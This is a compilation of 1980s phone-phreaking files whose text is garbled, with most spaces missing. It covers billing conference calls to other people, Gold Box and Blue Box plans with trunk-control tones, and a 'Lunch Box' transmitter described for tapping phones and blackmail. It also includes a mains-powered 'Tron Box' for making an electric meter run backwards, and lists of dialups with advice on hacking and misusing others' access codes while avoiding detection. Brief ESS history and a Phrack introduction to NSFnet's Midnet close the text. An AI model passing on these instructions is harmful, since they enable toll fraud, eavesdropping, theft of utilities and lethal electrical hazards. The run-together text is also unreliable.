wait until you hear the click again. Then type: KM2139752975S. Where
2139751975isthenumbertobilltheconferencecallto.
Note:2139751975isadisconnectednumberandIstronglyadvisethatyouonly

billthecalltothisnumberorthephonecompanywillfindoutandthen remeber,
conferencecallsareitemized,soifyoudobillittoanenemy'snumber,hecaneasily
findoutwhodiditandhecanbustyou!Youshouldnowhear3beepsandashort
prerecordedmessage.Fromhereon,everythingisallmenudriven.
Conferencecallcommands
Fromthe#mode:

1=callanumber
7=hangsuptheconferencecall
6=transfercontrol
9=willcallaconferenceoperator.

Stayawayfrom7and9!Ifforsomereasonanoperatorgetsonline,hangup!If
yougetabusysignalafterKM2130801050S,thatmeansthattheteleconferencing
lineistemporarilydown.Trylater,preferablyfrom9amto5pmweekdays,since
conferencecallsareprimarilydesignedforbusinesspeople.
TheLeech
GoldBoxPlans
byJollyRoger
Howtobuildit
Youwillneedthefollowing:Two10KOhmandthree1,4KOhmresistors;Two
2N3904transistors;TwoPhotoCells;TwoRedLed'S(Themorelightproduced
thebetter);Aboxthatwillnotletlightin;RedandGreenWire.Lightfromthe#1
Ledmustshinedirectlyonthephotocell#1.ThegoldboxImadeneededthetopof
theLed'stotouchthephotocellforittowork.Thesameappliestothe#2photocell
andLed.
1
:photocell:
::
::base
:1TTTTT
:+ledtransistor
:TTTTT
:::
:I(::collector
red1<>::::green2
I(::
::
2:/+/+//+/+//+/+//+/+/
led10K10K1,4K1,4K
resistors

2
photocell
::
:base:
TTTTT:
transistor:
TTTTT:
::emitter:
green1red2
::
/+/+/
1,4K
The1,4Kresistorisvariableandifthesecondpartofthegoldboxisskippedit
willstillworkbutwhensomeonepicksupthephonetheywillhearafaintdialtone
inthebackgroundandmightreportittotheGestapoer(AT&T).1,4Kwillgive
yougoodreceptionwithlittleriskofaGestapoagentatyourdoor.Nowthatyou
havebuiltittaketwogreenwiresofthesamelengthandstriptheends,twisttwo
endstogetherandconnectthemtogreen1andplaceapieceoftapeonitwith"line
#1"writingonit.Continuetheprocesswithred1onlyuseredwire.Repeatwithred2
andgreen2butchangetoline#2.
Howtoinstall
Youwillneedtofindtwophonelinesthatareclosetogether.Labeloneoftech
phonelines"Line#1".Cutthephonelinesandtaketheoutercoatingoffit.There
shouldbe4wires.Cuttheyellowandblackwiresoffandstriptheredandgreen
wiresforbothlines.Line#1shouldbeintwopieces.Takethegreenwireofoneend
andconnectittooneofthegreenwiresonthegoldbox.Taketheotherhalfofline#
1andhookthefreegreenwiretothegreenwireonthephoneline.Repeatthe
processwithred1andtheotherline.Allyouneedtodonowistowritedownthe
phonenumbersoftheplaceyouhookeditupatandgohomeandcallit.Youshould
getadialtone!!!Ifnot,trychangingtheemitterwiththecollector.
TheHistoryofESS
courtesyofJollyRoger
Ofallthenew1960swondersoftelephonetechnologysatellites,ultramodern
TrafficServicePositions(TSPS)foroperators,thepicturephoneandsoontheone
that gave Bell Labs the most trouble, and unexpectedly became the greatest
development effort in Bell System's history, was the perfection of an electronic
switchingsystemorESS.Itmayberecalledthatsuchasystemwasthespecificend
inviewwhentheprojectthathadculminatedintheinventionofthetransistorhad
beenlaunchedbackinthe1930s.Aftersuccessfulaccomplishmentofthatplanned

miraclein194748,furtherdelayswerebroughtaboutbyfinancialstringencyand
theneedforfurtherdevelopmentofthetransistoritself.Intheearly1950's,aLabs
teambeganseriousworkonelectronicswitching.Asearlyas1955,WesternElectric
becameinvolvedwhenfiveengineersfromtheHawthorneworkswereassignedto
collaboratewiththeLabsontheproject.ThepresidentofAT&Tin1956,wrote
confidently,"AtBellLabs,developmentofthenewelectronicswitchingsystemis
goingfullspeedahead.Wearesurethiswillleadtomanyimprovementsinservice
andalsotogreaterefficiency.ThefirstservicetrialwillstartinMorris,Ill.,in
1959." Shortly thereafter, Kappel said that the cost of the whole project would
probablybe$45million.Butitgraduallybecameapparentthatthedevelopmentofa
commerciallyusableelectronicswitchingsystemineffect,acomputerizedtelephone
exchangepresentedvastlygreatertechnicalproblemsthanhadbeenanticipated,and
that, accordingly, Bell Labs had vastly underestimated both the time and the
investmentneededtodothejob.Theyear1959passedwithoutthepromisedfirst
trialatMorris,Illinois;itwasfinallymadeinNovember1960andquicklyshowed
howmuchmoreworkremainedtobedone.Astimedraggedonandcostsmounted,
therewasaconcernatAT&TandsomethingapproachingpanicatBellLabs.But
the project had to go forward; by this time the investment was too great to be
sacrificed,andinanycase,forwardprojectionsofincreaseddemandfortelephone
serviceindicatedthatwithinaphewyearsatimewouldcomewhen,withoutthe
quantumleapinspeedandflexibilitythatelectronicswitchingwouldprovide,the
nationalnetworkwouldbeunabletomeetthedemand.InNovember1963,anall
electronicswitchingsystemwentintouseattheBrownEngineeringCompanyat
Cocoa Beach, Florida. But this was a small installation, essentially another test
installation,servingonlyasinglecompany.Kappel'stoneonthesubjectinthe1964
annualreportwas,forhim,analmostapologetic:"Electronicswitchingequipment
mustbemanufacturedinvolumetounprecedentedstandardsofreliability.Toturn
outtheequipmenteconomicallyandwithgoodspeed,massproductionmethodsmust
bedeveloped;but,atthesametime,therecanbenolossofprecision".Anotheryear
andmillionsofdollarslater,onMay30,1965,thefirstcommercialelectriccentral
officewasputintoserviceatSuccasunna,NewJersey.EvenatSuccasunna,only200
ofthetown's4,300subscribersinitiallyhadthebenefitofelectronicswitching's
addedspeedandadditionalservices,suchasprovisionforthreepartyconversations
andautomatictransferofincomingcalls.Butafterthat,ESSwasonitsway.In
January1966,thesecondcommercialinstallation,thisoneserving2900telephones,
wentintoserviceinChase,Maryland.Bytheendof1967therewereadditionalESS
offices in California, Connecticut, Minnesota, Georgia, New York, Florida, and
Pennsylvania; by the end of 1970 there were 120 offices serving 1, 8 million
customersandby1974therewere475officesserving5.6millioncustomers.The
differencebetweenconventionalswitchingandelectronicswitchingisthedifference
between"hardware"and"software";intheformercase,maintenanceisdoneonthe
spot,withscrewdriverandpliers,whileinthecaseofelectronicswitching,itcanbe
doneremotely,bycomputer,fromacentralpoint,makingitpossibletohaveonly
oneortwotechniciansondutyatatimeateachswitchingcentre.Thedevelopment
program, when the final figures were added up, was found to have required a

staggeringfourthousandmanyyearsofworkatBellLabsandtohavecostnot$45
millionbut$500million!
TheLunchBox
courtesyofExodus
Introduction
TheLunchBoxisa verysimpletransmitterwhichcanbehandyforallsortsof
things. It is quite small and can easily be put in a number of places. I have
successfullyuseditfortappingphones,gettinginsideinfo,blackmailandothersuch
things.The possibilitiesareendless.Iwillalsoincludetheplansoranequallysmall
receiverforyournewlymadetoy.Useitforjustaboutanything.Youcanalsomake
thetransmitterandreceivertogetherinoneboxanduseitasawalkietalkie.
Materialsyouwillneed
(1)9voltbatterywithbatteryclip;(1)25mfd,15voltelectrolyticcapacitor;(2).
0047mfdcapacitors;(1).022mfdcapacitor;(1)51pfcapacitor;(1)365pfvariable
capacitor;(1)Transistorantennacoil;(1)2N366transistor;(1)2N464transistor;(1)
100kresistor;(1)5,6kresistor;1)10kresistor;(1)2megpotentiometerwithSPST
switch;somegoodwire,solder,solderingiron,boardtoputiton,box(optional).
SchematicforTheLunchBox
Thismaygetatadconfusing,butjustprintitoutandpayattention.
[!]
!
51pf
!
+basecollector
!)(2N366++/\/\/GND
365pf()emitter!
!)(!!
++!!
!!!!!
GND/.022mfd!!
10k\!!!
/GND+emitter
!!!2N464
/.0047!basecollector
2meg\+!!++!
/!GND!!!
GND!!!

++.0047++!!

!+25mfd+
+!!
microphone+/\/\/+
+100k!
!
GND>/<!+!+!++
switchbatteryfrom2megpot.
Notesabouttheschematic
GND means ground. The GND near the switch and the GND by the 2meg
potentiometershouldbeconnected.Whereyousee:
)(
()
)(

Itisthetransistorantennacoilwith15turnsofregularhookupwirearoundit.The
middleoftheloopontheleftside(theleftof"()")youshouldrunawiredowntothe
"+"whichhasnothingattachedtoit.Thereisa.0047capacitoronthecorrectpiece
ofwire.Forthemicrophoneuseamagneticearphone(1kto2k).Whereyousee"[!]
"istheantenna.Useabout8feetofwiretobroadcastapprox300ft.Part15ofthe
FCCrulesandregulationsaysyoucan'tbroadcastover300feetwithoutalicense.
(Hahaha).Usemorewireforanantennaforlongerdistances(Attachittotheblack
wireonthephonelineforabouta250footantenna!).
OperationoftheLunchBox
ThistransmitterwillsendthesignalsovertheAMradioband.Youusethevariable
capacitortoadjustwhatfreq.youwanttouse.Findagoodunusedfreq.downatthe
lowerendofthescaleandyou'reset.Usethe2megpot.toadjustgain.Justfuck
withituntilyougetwhatsoundsgood.Theswitchonthe2megisforturningthe
LunchBoxonandoff.Wheneverythingisadjusted,turnonanAMradioadjustitto
whereyouthinkthesignalis.HaveafriendlaysomeshitthroughtheBoxandtune
intoit.That'sallthereistoit.Theplansforasimplereceiverareshownbelow:
TheLunchBoxreceiver
(1) 9 Volt battery with battery clip; (1) 365 pf variable capacitor; (1) 51 pf
capacitor;(1)1N38Bdiode;(1)Transistorantennacoil;(1)2N366transistor;(1)
SPSTtoggleswitchand(1)1kto2kmagneticearphone.
Schematicforreceiver
[!]

!
51pf
!
+++
!!
)365pf
(+!
)!!
++GND
!
+*>!basecollector
diode2N366earphone
emitter+
!!
GND!

+
battery
+
GND>/<+
switch
Closingstatement
Thistwodevicescanbebuiltforunderatotalof$10.Nottoobad.Usingthese
devicesinillegalwaysisyouroption.Ifyougetcauht,Iacceptnoresponsibilityfor
youractions.Thiscanbealotoffunifusedcorrectly.Hookituptotheredwireon
thephonelineanditwillsendtheconversationovertheairwaves.
OliveBoxPlans
courtesyofExodus
Thisisarelativelynewboxandallitbasicallydoesisserveasaphoneringer.You
havetwochoicesforringers,apiezoelectrictransducer(ringer)orastandard8ohm
speaker.Thespeakerhasamorepleasanttonetoit,buteitherwilldofine.This
circuit can also be used in conjunction with a rust box to control an external
somethingorotherwhenthephonerings.Justconnectthe8ohmspeakeroutputto
theinputsontherustbox,andcontrolthepottotuneittolightthelight(whichcan
bereplacedbyarelayforexternalcontrolling)whenthephonerings.
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PartsList
U1TexasInstrumentsTCM1506;T14000:8Ohmaudiotransformer;S18
Ohm speaker; R1 2. 2k resistor; R2 External variable resistor; adjusts timing
frequency;C1.47uFcapacitor;C2.1uFcapacitor;C310uFcapacitor;L1Tip;L2
RingandL1andL2arethephoneline.
ShiftRate
Thisistheformulafordeterminingtheshiftrate:
11
SR===6,25hz
(DSR(1/f1)+DSR(1/f2))128128
+
17141500
DSR=ShiftDeviderRateratio=128

f1=HighOutputFrequency=1714
f2=LowOutputFrequency=1500

TheTronBox
writtenbyThegreatCaptainCrunch!!!
courtesyofExodus
RF
IIII
IIII

(C)(C)(C)
IIII
IIII

(C)=capacitor

F=fuse
R=resistor
I,arewire
Partslist
(3)electrolyticcapacitorsratedat50V(lowest).47UF;(1)2030OHM1/2Watt
resistor;(1)120Voltfuse(AMPratingbesttouseatleasthalfoftotalhousecurrent
orevenlessitkeepsyoufromblowingyourbreakerjustincase...);(1)powercord
(cutupanextensioncord.Needplugpartandwire)and(1)electricallyinsulated
box.RestofSIFyoudon'tfeelcomfortableaboutelectricitythendon'tplaywiththis.
Thereisvoltagepresentthatwill***kill***you!Thethingworkswhentheloadin
yourhouseislowlikeatnighttime.Itwillputareversephasesignalonthelineand
cancelouttheotherphaseandputareversephaserunningeverythinginthehouse.
Well,ifyouhaveeverswitchedthepowerleadsonaD.C.(batterypowered)motor,
youwillseethatitrunsbackwards.Well,yourelectricmetersortofworksthis
way...So,reversephasemakesthemeterslowdownand,ifyou'relucky,itwillgo
backwards.Anyway,itmeansacheaperelectricbill.
Freaker'sFunhouse
courtesyofExodus
ThelongawaitedprequiltoFreaker'sGuidehasfinallyarrived.Conceivedfrom
theboredomandlonelinessthatcouldonlybederivedfrom:TheTraveller!But
now,hehasreturnedinfullstrength(afterasmallvacation)andisheretoWorld
Premierethenewfileseverywhere.Staycool!Thisistheprequiltothefirstone,so
justrelax.Thisisnotmadetobeanexclusiveultraelitefile,sokindacalmdownand
watchinthebackgroundifyouaretoocoolforit.
FreakDictionary

Hereyouwillfindsomeofthebasicbutnecessarytermsthatshouldbeknownby
anyfreakwhowantstoberespectedatall.

Freak
Theactionofusingmischeviousandmostlyillegalwaysinordertonotpayfor
some sort of tele communications bill, order, transfer or other service. It often
involvesusageofhighlyillegalboxesandmachinesinordertodefeatthesecurity
thatissetuptoavoidthissortofhappening.[fr'eaking].v.Apersonwhousesthe
abovemethodsofdestructionandchaosinordertomakeabetterlifeforall.Atrue
freakerwillnotnotgoagainsthisfellowsornarconpeoplewhohaveraggedonhim
ordoanythingtermedtobedishonourabletofreaks.[fr'eek].n.Acertaincodeor
dialupusefulintheactionofbeingafreak(Example:"Ihackedanewmetrofreak
lastnight.").
SwitchingSystem
Thereare3mainswitchingsystemscurrentlyemployedintheU.S.andafew
othersystemswillbementionedasbackground.
SxS: Thissystemwasinventedin1918andwasemployedinoverhalfofthe
countryuntil1978.Itisaverybasicsystemthatisageneralwasteofenergyand
hardworkonthelinesman.Agoodwaytoidentifythisisthatitrequiresacoininthe
phone booth before it will give you a dial tone, or that no call waiting, call
forwarding,oranyothersuchserviceisavailable.Standsfor:StepbyStep.
XB:Thisswitchingsystemwasfirstemployedin1978inordertotakecareofmost
ofthefaultsofSxSswitching.Notonlyisitmoreefficient,butitalsocansupport
differentservicesinvariousforms.XB1isCrossbarVersion1.Thatisverylimited
andishardtodistinguishfromSxSexceptbydirectviewofthewiringinvolved.
NextupwasXB4,CrossbarVersion4.Withthissystem,someofthebasicthings
likeDTMF that werenot availablewithSxScanbeaccomplished.Forthefinal
strokeofXB,XB5wascreated.ThisisaservicethatcanallowDTMFplusmost800
typeservices(whichwerenotalwaysavailable.)Standsfor:Crossbar.
ESS:Anightmareintelecom.Invividcolour,ESSisaprettybadthingtohaveto
standupto.Itisquitesimpletoidentify.Dialling911foremergenciesandANI[see
ANIbelow]arethemostcommonfacetsofthedreadsystem.ESShasthecapability
tolistinaperson'scallerlogwhatnumberwascalled,howlongthecalltook,and
even the status of the conversation (modem or otherwise.) Since ESS has been
employed, which has been very recently, it has gone through many kinds of
revisions.ThelatestsystemtodateisESS11a,thatisemployedinWashingtonD.C.
forsecurityreasons.ESSistrulytroubleforanyfreak,becauseitissmarterthan
theothersystems.Forinstance,ifonyourcallerlogtheysaw50callsto1800421
9438,theywouldbeabletodoaCN/A[seeLoopholesbelow]onyournumberand
determinewhetheryouaresubscribedtothatserviceornot.Thismakesmostcallsa
hazard,becausealthough800numbersappeartobefree,theyarerecordedonyour

callerlogandthenrightbeforeyoureceiveyourbillitdeletesthebillingsforthem.
Butbeforethattheareopentoinspection,whichisonereasonwhyextendeduseof
anycodeisdangerousunderESS.Someoftheboxes[seeBoxingbelow]areunable
tofunctioninESS.Itisgenerallyamenacetothetruefreak.StandsFor:Electronic
SwitchingSystem.Becausetheycouldappearonafiltersomewhereormaybeitis
justnicetoknowthemanyway.
-SSS:StrowgerSwitchingSystem.Firstnonoperatorsystemavailable.
-WES:WesternElectronicsSwitching.Usedabout40yearsagowithsomeminor
placesoutwest.
Boxing
Theuseofpersonallydesignedboxesthatemitorcancelelectronicimpulsesthat
allowsimpleractingwhilefreaking.Throughtheuseofseparateboxes,youcan
accomplishmost featspossiblewithorwithoutthecontrolofanoperator. Some
boxesandtheirfunctionsarelistedbelow.Onesmarkedwith*indicatethatthey
arenotoperableinESS.
-*Black Box: Makesit seem tothe phonecompanythatthephonewasnever
pickedup.
-BlueBox:Emitsa2600hztonethatallowsyoutodosuchthingsasstackatrunk
line,kicktheoperatorofflineandothers.
-RedBox:Simulatesthenoiseofaquarter,nickelordimebeingdroppedintoa
payphone.
-CheeseBox:Turnsyourhomephoneintoapayphonetothrowofftraces(ared
boxisusuallyneededinordertocallout.)
-*ClearBox :GivesyouadialtoneonsomeoftheoldSxSpayphoneswithout
puttinginacoin.
BeigeBox :Asimplerproducedlinesman'shandsetthatallowsyoutotapinto
phonelinesandextractbyeavesdropping,orcrossingwires,etc.
-PurpleBox:Makesallcallsmadeoutfromyourhouseseemtobelocalcalls.
ANI [ANI]: Automatic Number Identification a service available on ESS that
allowsaphoneservice[seeDialupsbelow]torecordthenumberthatanycertain
codewasdialledfromalongwiththenumberthatwascalledandprintbothofthese
onthecustomerbill.950dialups[seedialupsbelow]arealldesignedjusttouse
ANI. Some of the services do not have the proper equipment to read the ANI
impulsesyet,butitisimpossibletoseewhichiswhichwithoutbeingbustedornot
bustedfirst.
Dialups[dy'l'ups]:Anylocalor800extendedoutletthatallowsinstantaccessto
anyservicesuchasMCI,SprintorAT&Tthatfromtherecanbeusedbyhand
pickingorusingaprogramtorevealotherpeoplescodeswhichcanthenbeused
moderately until they find out about it and you must switch to another code
(preferablybeforetheyfindoutaboutit).Dialupsareextremelycommononboth
senses.Somedialupsrevealthecompanythatoperatesthemassoonasyouhearthe
tone.Othersaremuchharderandsomeyoumayneverbeabletoidentify.Asmall

listofdialups:
18004219438(5digitcodes)
18005476754(6digitcodes)
18003450008(6digitcodes)

18007343478(6digitcodes)
18002222255(5digitcodes)

Codes
Codesareveryeasilyaccessedprocedureswhenyoucalladialup.Theywillgive
yousomesortoftone.Ifthetonedoesnotendin3seconds,thenpunchinthecode
andimmediatelyfollowingthecode,thenumberyouarediallingbutstrikethe1in
thebeginningoutfirst.Ifthetonedoesend,thenpunchinthecodewhenthetone
ends.Then,itwillgiveyouanothertone.Punchinthenumberyouarediallingora
9.Ifyoupunchina9andthetonestops,thenyoumessedupalittle.Ifyou
punchinatoneandthetonecontinues,thensimplydialthennumberyouarecalling
withoutthe1.Allcodesarenotuniversal.TheonlytypethatIknowofthatis
trulyuniversalisMetrophone.AlmosteverymajorcityhasalocalMetrodialup
(forPhiladelphia,(215)3510100/0126)andsincethecodesareuniversal,almost
everyfreakhasusedthemonceortwice.TheydonotemployANIinanyoutletsthat
Iknowof,sofeelfreetocheckthroughyourbooksandcall5551212or,asamore
deviousmanor,subscribeyourself.Then,neveruseyourowncode.Thatway,ifthey
check up on you due to your caller log, they can usually find out that you are
subscribed.Notonlythatbutyoucouldsetafreakhackeraroundthatareaandjust
letithackaway,sincetheyusuallygroupthemand,asabonus,youwillhavetheir
localdialup.
950's. Theyseemlikeaperfectlycoolfreakersdream.Theyarefreefromyour
house, from payphones, from everywhere, and they host all of the major long
distancecompanies(950)1044<MCI>,950)1077<Sprint>,9501088<S+
ylines>,9501033<UsTelecom>.)Well,theyaren't.TheyweredesignedforANI.
Thatisthepoint,endofdiscussion.Afreakdictionary.Ifyourememberallofthe
things contained on that file up there, you may have a better chance of doing
whateveritisyoudo.Thisnextsectionismaybealittlemoreinteresting.
BlueBoxPlans
Thesearesomeblueboxplans,butfirst,bewarned,therehavebeen2600hztone
detectorsoutonoperatortrunklinessinceXB4.Theideabehinditistousea2600
hztoneforafewverynaughtyfunctionsthatcanreallymakeyourdaylightenup.
Butfirst,herearetheplansortheheartofthefile:
700: 1: 2: 4: 7: 11:
900: + : 3: 5: 8: 12:
1100: + : + : 6: 9: KP:

1300: + : + : + : 10: KP2:

1500: + : + : + : + : ST:
:700: 900: 1100: 1300: 1500:

 Stop!Beforeyoudiehardusersstartpiecingthoselittletonetidebitstogether,
thereisasimplermethod.IfyouhaveanAppleCatwithaprogramlikeCat'sMeow
IV,thenyoucangeneratethenecessarytones,the2600hztone,theKPtone,theKP
2tone,andtheSTtonethroughthedialsection.SoifyouhavethatIwillassume
youcanbootitupanditworksandI'lldoyouthefavouroftellingyouandtheother
userswhattodowiththeblueboxnowthatyouhavesomehowconstructedit.The
connectiontoanoperatorisoneofthemostwellknownandusedwaysofhavingfun
withyourbluebox.YousimplydialaTSPS(TrafficServicePositioningStation,or
theoperatoryougetwhenyoudial0)andblowa2600hztonethroughtheline.
Watchout!Donotdialthisdirect!Afteryouhavedonethat,itisquitesimpleto
havefunwithit.BlowaKPtonetostartacall,aSTtonetostopitanda2600hz
tonetohangup.Onceyouhaveconnectedtoit,herearesomefunnumberstocall
withit:
07004561000 Teleconference(free(Areacode)141Rate&Route
becauseyouaretheoperator!)
(Areacode)181CoinRefundOperator
(Areacode)101TollSwitching
(Area code) 11511 Conference operator
(Areacode)121LocalOperator(hehe) (whenyoudial8005446363)
(Areacode)131Information

Well,thosewerethetonematrixcontrollersfortheblueboxandsomeotherhelpful
stufftohelpyoutostartoutwith.Butthoseareonlythefunctionswiththeoperator.
Thereareotherkfunthingsyoucandowithit.
MoreadvancedBlueBoxStuff
Oops!Smallmistakeupthere.Iforgottonelengths.Um,youblowatonepairout
forupto1/10ofasecondwithanother1/10secondforsilencebetweenthedigits.
KPtonesshouldbesentfor2/10ofasecond.Onewaytoconfusethe2600hztraps
is to send pink noise over the channel (for all of you that have decent BSR
equalizers,thereismajorpinknoiseinthere.)Usingtheoperatorfunctionsistheuse
oftheinwardtrunkline.Thatisworkingitfromtheinside.Fromtheoutward
trunk,youcandosuchthingsasmakeemergencybreakthroughcalls,tapintolines,
busyallofthelinesinanytrunk(calledstacking),enableordisabletheTSPS's
andforsome4asystemsyoucanevenreroutecallstoanywhere.Allright.Theone
thingthateverycompletefreakguideshouldbewithoutisblueboxplans,sincethey
wereonceavitalpartoffreaking.Anotherthingthateverycompletefileneedsisa
completelistingofallofthe800numbersaroundsoyoucanhavesomemorefun.
800DialupListings
18003450008(6)/18005476754(6) 18004379895(7)/18002457508(5)
18002454890(4)/18003279136(4) 18003431844(4)/18003221415(6)
18005265305(8)/18008589000(3) 18004373478(6)/18003257222(6)

Allright,setCatHacker1,0onthosenumbersandhaveafuckofaday.Thatis
enoughwith800codes,bythetimethisgetsaroundtoyouIdunnowhatstatethose
codeswillbein,buttrythemalloutanywayandseewhatyouget.Onsome800
servicesnow,theyhaveanoperatorwhowillanswerandaskyouforyourcodeand
then your name. Some will switch back and forth between voice and tone
verification,youcanneverbequitesurewhichyouwillbeupagainst.Armedwith
thisknowledgeyoushouldbehavingaprettygoodtimefreakingnow.Butclassisn't
overyet,therearestillacoupleimportantrulesthatyoushouldknow.Ifyouhear
continualclickingontheline,thenyoushouldassumethatanoperatorismessing
withsomething,maybeevenlisteninginonyou.Itisagoodideatocall someone
backwhenthephonestartsdoingthat.Ifyouwereusingacode,useadifferentcode
and/orservicetocallhimback.Agoodwaytodetectifacodehasgonebadornot
istolistenwhenthenumberhasbeendialled.Ifthecodeisbadyouwillprobably
hear thephone ringing more clearlyand morequickly thanif you wereusing a
differentcode.Ifsomeoneanswersvoicetoitthenyoucanimmediatelyassumethat
itisanoperativeforwhatevercompanyyouareusing.Thefamed311311codefor
Metro is one of those. You would have to be quite stupid to actually respond,
becausewhoeveryouaskfortheoperatorwillalwayssayHe'snotinrightnow,
canIhavehimcallyouback?andthentheywillaskforyournameandphone
number.Someofthemoresophisticatedcompanieswillactuallygiveyouacarrier
onalinethatissupposedtogiveyouacarrierandthenjusthavegarbageflowacross
thescreenlikeitwouldwithabadconnection.Thatisafeebleefforttomakeyou
thinkthatthecodeisstillworkingandmaybegetyoutodialsomeone'svoice,agood
testforthecarriertrickistodialanumberthatwillgiveyouacarrierthatyouhave
neverdialledwiththatcodebefore,thatwillallowyoutodeterminewhetherthe
codeisgoodornot.Forournextsection,alighterlookatsomeofthethingsthata
freakshouldnotbewithout.Avocabulary.Afewmonthsago,itwasaquitestrange
worldforthemodempeopleoutthere.Butnow,afreaker'svocabularyisessentialif
youwanttomakeagoodimpressiononpeoplewhenyoupostwhatyouknowabout
certainsubjects.
Vocabulary
Donotmisspellexceptcertainexceptions:phone>foneandfreak>phreak!
Neversubstitutezsforss.(i.e.codez>codes)!Neverleavemanycharacters
afterapost(i.e.HeyDudes!#!@#@!#!@)!Never usethekprefix(k
kool,krad,kwhatever)!Donotabbreviate(Igotlotsofwaresw/docs)!Never
substitute 0 for o (r0dent, l0zer) ! Forget about ye old upper case, it looks
ruggyish!Allright,thatwastorelievethetensionofwhatisbeingdrilledintoyour
minds at the moment. Now, however, back to the teaching course. Here are
somethingyoushouldknowaboutphonesandbillingsforphonesetc.
Lata:LocalAccessTransferenceArea
Somepeoplewholiveinlargecitiesorareasmaybeplaguedbythisproblem.For

instance,let'ssayyouliveinthe215areacodeunderthe542prefix(Ambler,Fort
Washington).IfyouwenttodialinabasicMetrocodefromthatarea,forinstance,
3510100,thatmightnotbecountedunderunlimitedlocalcallingbecauseitisout
ofyourLata.ForsomeLata's,youhavetodiala1withouttheareacodebefore
youcandialthephonenumber.Thatcouldproveahassleforusallifyoudidn't
realizeyouwouldbebilledforthatsortofcall.Inthatway,sometimes,itisbetterto
besafethansorryandfreak.
TheCallerLog
InESSregions,foreveryhouseholdaround,thephonecompanyhassomething on
youcalledaCallerLog.Thisshowseverysinglenumberthatyoudialledandthings
canbearrangedsoitshowedeverynumberthatwascallingtoyou.That'sonemain
disadvantageofESS,itismostlycomputerizedsoanumberscancouldbedonelike
thatquiteeasily.Usingadialupisaneasywaytoscrewthatandissomethingworth
remembering.Anyway,withthecallerlog,theycheckupandseewhatyoudialled.
Hmm...youdialled15different800numbersthatmonth.Soontheyfindthatyou
are subscribed tonone of those companies. Butthat is notthe onlything. Most
peoplewouldimagine"Butwait!800numbersdon'tshowuponmyphonebill!".
Tothosepeople,itisanicethought,but800numbersarepickeduponthecallerlog
untilrightbeforetheyaresentofftoyou.Sotheycancheckrightuponyoubefore
theysenditawayandcannotethefactthatyoufuckedupslightlyandcalledonetoo
many800lines.Rightnow,afterallofthat,youshouldhaveaprettygoodideaof
howtogrowupasagoodfreak.Followtheseguidelines,don'tshowoffanddon't
takeunnecessaryriskswhenfreakingorhacking.
(*GreetstoPeeWeeforthisfiletakenfromhisHellDisk#1*)
FrackInc.VolumeThree,Issue27,File3of12

IntroductiontoMidnet

ChapterSevenofTheFutureTranscendentSaga
AMoreIndepthLookIntoNSFnet
NationalScienceFoundationNetwork
presentedbyKnightLightning
June16,1989
Prologue
If you are not already familiar with NSFnet, I would suggest that you read:
"Frontiers" (Phrack Inc. , Volume Two, Issue 24, File 4 of 13 and definitely;
"NSFnet:NationalScienceFoundationNetwork"(FrackInc.,VolumeThree,Issue
26,File4of11).
TableOfContents
Introduction

TheDodprotocolsuite
NamesandaddressesinaNetwork
Telnet(*not*Telenet)
Filetransfer
Mail
Introduction
Midnet isaregionalcomputernetworkthatispartoftheNSFnet,theNational
ScienceFoundationNetwork.Currently,elevenmidUnitedStatesuniversitiesare
connectedtoeachotherandtotheNSFnetviaMidnet:
UAUniversityofArkansasFayetteville WU Washington University St. Louis,
Missouri
ISUIowaStateUniversityatAmes
UNLUniversityofNebraskaatLincoln
UIUniversityofIowaatIowaCity
KSUKansasStateUniversityManhattan OSU Oklahoma State University at
KUUniversityofKansasatLawrence Stillwater
UMCUniversityofMissouriColumbia UTUniversityofTulsa(Oklahoma)
OUUniversityofOklahomaatNorman

Researchersatanyoftheseuniversitiesthathavefundedgrantscanaccessthesix
supercomputercentresfundedbytheNSF:
John Von Neumann SupercomputerNational Centre for Supercomputing
Centre
Applications
NationalCentreforAtmosphericResearchPittsburgh Supercomputing Centre
Cornell National Supercomputer FacilitySanDiegoSupercomputingCentre

Inaddition,researchersandscientistscancommunicatewitheachotheroveravast
worldwidecomputernetworkthatincludestheNSFnet,Arpanet,CSnet,Bitnetand
othersthatyouhavereadaboutinTheFutureTranscendentSaga.Pleasereferto
"Frontiers" (Frack Inc. , Volume Two, Issue 24, File 4 of 13) for more details.
MidnetisjustoneofseveralregionalcomputernetworksthatcomprisetheNSFnet
system.Althoughalloftheseregionalcomputernetworksworkthesame,Midnetis
theonlyonethatIhavedirectaccesstoandsothisfileiswrittenfromaMidnetpoint
ofview.ForpeoplewhohaveaccesstotheotherregionalnetworksofNSFnet,the
onlyrealdifferencesdepictedinthisfilethatwouldnotapplytotheotherregional
networksaretheuniversitiesthatareservedbyMidnetasopposedto:

Nysernet in New York StateBarrnet in the San Francisco area

Suranet in the south eastern U. S.MeritinMichigan
Seqsuinet

in

Texas
(Thereareothersthatarecurrentlybeingconstructed.)Theseregionalnetworksall
hook into the NSFnet backbone, which is a network that connects the six

supercomputercentres.Forexample,apersonatKansasStateUniversitycanconnect
withasupercomputerviaMidnetandtheNSFnetbackbone.Thatresearchercanalso
sendmailtocolleaguesattheUniversityofDelawarebyusingMidnet,NSFnetand
Suranet.Eachuniversityhasitsownlocalcomputernetworkwhichconnectson
campuscomputersaswellasprovidingameanstoconnectingtoaregionalnetwork.
SomeuniversitiesarealreadyconnectedtooldernetworkssuchasCsnet,theArpanet
andBitnet.Inprincipal,anycampusconnectedtoanyofthesenetworkscanaccess
anyoneelseinanyothernetworksincetherearegatewaysbetweenthenetworks.
Gatewaysarespecializedcomputersthatforwardnetworktraffic,therebyconnecting
networks.Inpractice,thesewideareanetworksusedifferentnetworkingtechnology
whichmakeitimpossibletoprovidefullfunctionalityacrossthegateways.However,
mailisalmostuniversallysupportedacrossallgateways,sothatapersonataBitnet
sitecansendmailmessagestoacolleagueatanArpanetsite(oranywhereelsefor
thatmatter).Youshouldalreadybesomewhatfamiliarwiththis,butifnotreferto:
"LimboToInfinity"(FrackInc.,VolumeTwo,Issue24,File3of13)and"Internet
Domains"(FrackInc.,VolumeThree,Issue26,File8of11).Computernetworks
relyonhardwareandsoftwarethatallowcomputerstocommunicate.Thelanguage
thatenablesnetworkcommunicationiscalledaprotocol.Therearemanydifferent
protocolsinusetoday.Midnetuses theTCP/IPprotocols,alsoknownastheDod
(DepartmentofDefence)ProtocolSuite.OthernetworksthatuseTCP/IPinclude
Arpanet,CsnetandtheNSFnet.Infact,alltheregionalnetworksthatarelinkedto
theNSFnetbackbonearerequiredtouseTCP/IP.Atthelocalcampuslevel,TCP/IP
isoftenused,althoughotherprotocolssuchasIBM'sSNAandDec'sDECnetare
common.InordertocommunicatewithacomputerviaMidnetandtheNSFnet,a
